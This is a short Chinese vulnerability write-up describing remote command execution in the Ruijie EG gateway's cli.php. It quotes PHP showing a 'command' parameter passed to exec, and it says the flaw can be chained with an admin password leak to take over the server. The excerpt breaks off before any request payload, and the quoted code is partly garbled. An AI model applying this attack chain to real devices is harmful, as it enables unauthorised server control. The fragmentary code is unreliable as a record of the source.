# 锐捷EG易网关 cli.php 远程命令执行漏洞

## 漏洞描述

锐捷EG易网关 cli.php存在命令执行漏洞，配合 锐捷EG易网关 管理员账号密码泄露漏洞 达到RCE控制服务器

## 漏洞影响

## 漏洞复现

首先登录到后台中(可以组合 锐捷EG易网关 管理员账号密码泄露漏洞)

漏洞文件 cli.php

“`php
true,
“data” => $content);
json_echo($data);
}

/**
* 获取系统时间
*/
public function dateAction() {
setTimeZone();
$data[‘status’] = true;
$data[“data”][“time”] = date(“Y-m-d H:i:s”);
$data[“data”][“zone”] = “UTC” . getTimeZone();
json_echo($data);
}

/**
* 获取系统时区
*/
public function datezoneAction() {
$data[‘status’] = true;
$data[“data”] = getTimeZone();
json_echo($data);
}

/**
* 检测静态页面时候未登录直接进入
*/
public function checkloginAction() {
json_echo(array(“status” => true));
}

}

include_once(AROOT . “init.php”); //mvc初始化入口，放在底部
“`

关键部分代码为

“`php
/**
* 执行shell脚本
*/
public function shellAction() {
$command = p(“command”);
if ($command == false) {
$data[“status”] = 2;
$data[“msg”] = “no command”;
json_echo($data);
exit();
}
$content = [];
exec(EscapeShellCmd($command), $content);
$data = array(“status” => true,
“data” => $content);
json_echo($data);
}
“`

command参数直接传入执行了命令

发送请求包

“`
